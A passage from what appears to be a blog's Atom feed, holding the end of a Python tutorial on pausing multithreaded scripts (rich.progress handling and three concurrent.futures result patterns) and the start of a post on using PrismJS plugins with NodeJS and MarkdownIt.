&lt;li&gt;Adjust the environment before and after the pause menu, such as temporarily restoring Python&#39;s SIGINT handler.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;references&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#references&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; References&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/29082411&quot;&gt;SO: Python time.sleep() vs event.wait()&lt;/a&gt; (goes into low level implementation deets)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/threading.html#event-objects&quot;&gt;Python 3 Docs: threading.Event&lt;/a&gt;  (very simple and clear docs)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/signal.html&quot;&gt;Python 3 Docs: signal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.python.org/3/library/concurrent.futures.html&quot;&gt;Python 3 Docs: concurrent.futures&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;appendix&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#appendix&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Appendix&lt;/h2&gt;
&lt;h3 id=&quot;appendix-a-bonus-rich-progress&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#appendix-a-bonus-rich-progress&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Appendix A: Bonus - rich.progress&lt;/h3&gt;
&lt;p&gt;If you&#39;re using &lt;code&gt;rich.progress&lt;/code&gt; to liven up your UI, you may find the live progress bar conflicts with our custom pause menu. To disable the live progress, you can manually adjust the class members before entering the pause menu in &lt;code&gt;main()&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-diff=&quot;&quot; class=&quot;language-diff-python language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-diff-python language-python&quot;&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Disable live progress.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# prog is an instance of rich.progress.Progress.&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;update&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;task_ids&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; visible&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; refresh&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;disable &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;live&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auto_refresh &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;is_interactive &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;live&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_interactive
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;live&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_interactive &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;cont &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; main_pause_menu&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# -- snip --&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;resume_evt&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token inserted-sign inserted language-python&quot;&gt;&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;# Re-enable live progress...&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;live&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;console&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;is_interactive &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; is_interactive
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;live&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auto_refresh &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;disable &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;False&lt;/span&gt;
&lt;span class=&quot;token prefix inserted&quot;&gt;+&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;update&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;prog&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;task_ids&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; visible&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; refresh&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;token unchanged language-python&quot;&gt;&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; cont&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;token prefix unchanged&quot;&gt; &lt;/span&gt;    &lt;span class=&quot;token keyword&quot;&gt;break&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;This is very hacky, because the properties aren&#39;t documented and could potentially change, but it works pretty well.&lt;/p&gt;
&lt;h3 id=&quot;appendix-b-handling-future-results&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#appendix-b-handling-future-results&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Appendix B: Handling Future Results&lt;/h3&gt;
&lt;p&gt;AFAIK, there are three main ways of handling future results from &lt;code&gt;concurrent.futures&lt;/code&gt;. Keep in mind some approaches may be better for your script.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;concurrent.futures.wait&lt;/code&gt;. Polls and partitions an iterable of futures into &lt;code&gt;done&lt;/code&gt; and &lt;code&gt;not_done&lt;/code&gt; sets. Does not block main thread when &lt;code&gt;timeout&lt;/code&gt; is specified. Result handling runs in main thread.&lt;/p&gt;
&lt;p&gt;For the &amp;quot;other stuff&amp;quot; to run responsively, the &lt;code&gt;timeout&lt;/code&gt; parameter in &lt;code&gt;concurrent.futures.wait()&lt;/code&gt; should be relatively small, and the result handling shouldn&#39;t take too long.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;thread_function&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        not_done&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;# Process results while waiting.&lt;/span&gt;
        done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; not_done &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;wait&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; timeout&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0.5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; future &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; done&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;# Handle thread result.&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                future&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;not_done&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;[main] Finished all tasks!&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt;
        
        &lt;span class=&quot;token comment&quot;&gt;# Do other stuff...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;concurrent.futures.as_completed&lt;/code&gt;. This returns an iterable of completed futures. Blocks main thread. Result handling runs in main thread.&lt;/p&gt;
&lt;p&gt;This is &lt;strong&gt;not&lt;/strong&gt; a reliable way to integrate with the flow demonstrated in this post.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    futures &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;thread_function&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; f &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;as_completed&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

        &lt;span class=&quot;token comment&quot;&gt;# Do other stuff? Not necessarily consistent or responsive though.&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;future.add_done_callback()&lt;/code&gt;. This fires a callback upon completion of each future. Does not block main thread. Result handling may not run in main thread.&lt;/p&gt;
&lt;p&gt;Probably the &amp;quot;cleanest&amp;quot; way to integrate with the flow demonstrated in this post, unless you handle &lt;code&gt;future.result()&lt;/code&gt; in a non-thread-safe manner, in which case... beware race conditions.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;result&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;except&lt;/span&gt; Exception &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; concurrent&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ThreadPoolExecutor&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;max_workers&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    futures &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        f &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; executor&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;submit&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;thread_function&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        f&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add_done_callback&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;callback&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        futures&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;append&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token comment&quot;&gt;# Results get handled in the background!&lt;/span&gt;
    &lt;span class=&quot;token comment&quot;&gt;# Do other stuff...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt; &lt;a href=&quot;https://github.com/epi052/feroxbuster&quot;&gt;feroxbuster&lt;/a&gt;, a popular pentesting tool, has interactive pause for runtime addition of filters and pruning of exploration paths. Quite useful for reducing false positives and saving time! &lt;a href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Of course, it&#39;s possible to do the same with &lt;code&gt;time.sleep&lt;/code&gt; by breaking the sleep into smaller pieces and looping. In fact, Python 2&#39;s implementation of &lt;code&gt;event.wait()&lt;/code&gt; was exactly like that — a while loop calling &lt;code&gt;time.sleep&lt;/code&gt; with tiny intervals. This turned out to be inefficient (by acquiring the GIL repeatedly) and caused a few bugs. In Python 3, &lt;code&gt;event.wait()&lt;/code&gt; is properly implemented in C with interrupts! Check out this &lt;a href=&quot;https://stackoverflow.com/a/29082411&quot;&gt;SO answer&lt;/a&gt; for more gory details. &lt;a href=&quot;https://trebledj.me/posts/delay-and-interactive-pause-in-multithreaded-python/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>programming</category>
        
          <category>python</category>
        
          <category>tutorial</category>
        
          <category>infosec</category>
        
          <category>pentesting</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>How to Use PrismJS Plugins with NodeJS and MarkdownIt</title>
        <description>Improve your storytelling with these dead simple hacks for rendering fancy Prism plugins in Node!</description>
        <link href="https://trebledj.me/posts/prism-plugins-in-node/"/>
        <updated>2024-11-03T00:00:00Z</updated>
        <id>https://trebledj.me/posts/prism-plugins-in-node/</id>
        <content xml:lang="en" type="html">&lt;p&gt;With over 7 million weekly downloads on NPM, PrismJS is one of the most widely used code highlighting packages in JavaScript, lauded for its unparalleled extensibility through plugins. But one recurring issue plagues developers: most plugins require a &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;document object model, responsible for managing the UI you see in your wonderful browser&quot;&gt;DOM&lt;/abbr&gt;! Fancy plugins such as &lt;code&gt;command-line&lt;/code&gt;, &lt;code&gt;line-numbers&lt;/code&gt;, and the toolbar suite require a DOM to manipulate HTML. This isn&#39;t normally possible in runtime environments such as Node, which aren&#39;t designed to render UIs, hence, no DOM.&lt;/p&gt;
&lt;p&gt;In this post, I’ll demonstrate a few simple changes to easily coerce these plugins into compatibility with NodeJS and MarkdownIt, a popular markdown renderer.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id=&quot;why-enhance-codeblocks&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/prism-plugins-in-node/#why-enhance-codeblocks&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Why enhance codeblocks?&lt;/h2&gt;
&lt;p&gt;Simple codeblocks suffice for most writers who need supporting text with pretty colours. But maybe you want your codeblocks to simply look &lt;em&gt;flashier&lt;/em&gt;. Or maybe you want better tools &lt;em&gt;to tell a story&lt;/em&gt;!&lt;/p&gt;
&lt;p&gt;To tell a good story, the characters, plot, and location need to be clear to the audience. Similarly, blog posts and tutorials benefit from enhancements such as command-line demarcations, line numbers, labels, and inline markup.&lt;/p&gt;
&lt;p&gt;There are many cases where such codeblocks are warranted (brackets contain remedial plugins):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Interaction: input and output should be contrasted, think: shell or Jupyter notebook (command-line)&lt;/li&gt;
&lt;li&gt;A post compares or demonstrates a technique in multiple languages (show-language)&lt;/li&gt;
&lt;li&gt;Code is executed in multiple, distinct environments (command-line, label)&lt;/li&gt;
